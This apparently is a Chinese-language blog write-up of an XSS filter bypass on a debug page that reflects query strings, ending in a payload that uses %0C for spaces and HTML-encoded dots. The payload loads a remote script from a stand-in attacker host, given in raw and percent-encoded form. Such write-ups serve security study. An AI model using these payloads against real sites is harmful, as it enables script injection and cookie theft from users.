无点XSS攻击技术解析

本文详细介绍了如何绕过特殊字符过滤实现XSS攻击的技术细节,包括使用%0C替代空格和HTML编码绕过点号限制的实战案例。

无点XSS攻击

某次我发现一个网站将所有查询字符串和POST数据直接回显到<div>标签中。
例如:example.php?monkey=banana会输出:

1
2
3
<div>
monkey => banana
</div>

这应该是用于调试目的。于是简单的XSS攻击即可生效:
example.php?<script>alert(1)</script>输出:

1
2
3
<div>
<script>alert(1)</script>
</div>

我尝试输出当前cookie作为概念验证:
example.php?<script>alert(document.cookie)</script>
却得到:

1
2
3
<div>
<script>alert(document_cookie)</script>
</div>

发现下划线替换问题后,尝试使用访问器语法:
example.php?<script>alert(document['cookie'])</script>
结果被截断:

1
2
3
<div>
<script>alert(document[
</div>

转而尝试远程加载脚本:
example.php?<script src="//attacker-site.co.uk/sc.js"></script>
遭遇字符替换:

1
2
3
<div>
<script_src="//attacker-site_co_uk/sc_js"></script>
</div>

最终解决方案:

  1. 使用%0C替代空格
  2. 对点号进行HTML编码

完整payload:
example.php?<script%0Csrc="//attacker-site&#46;co&#46;uk/sc&#46;js"></script>
其百分号编码版本:
example.php?<script%0Csrc="//attacker-site%26%2346%3bco%26%2346%3buk/sc%26%2346%3bjs"></script>

成功执行结果:

1
2
3
<div>
<script src="//attacker-site&#46;co&#46;uk/sc&#46;js"></script>
</div>

浏览器实际解析为:

1
<script src="//attacker-site.co.uk/sc.js"></script>
comments powered by Disqus
使用 Hugo 构建
主题 StackJimmy 设计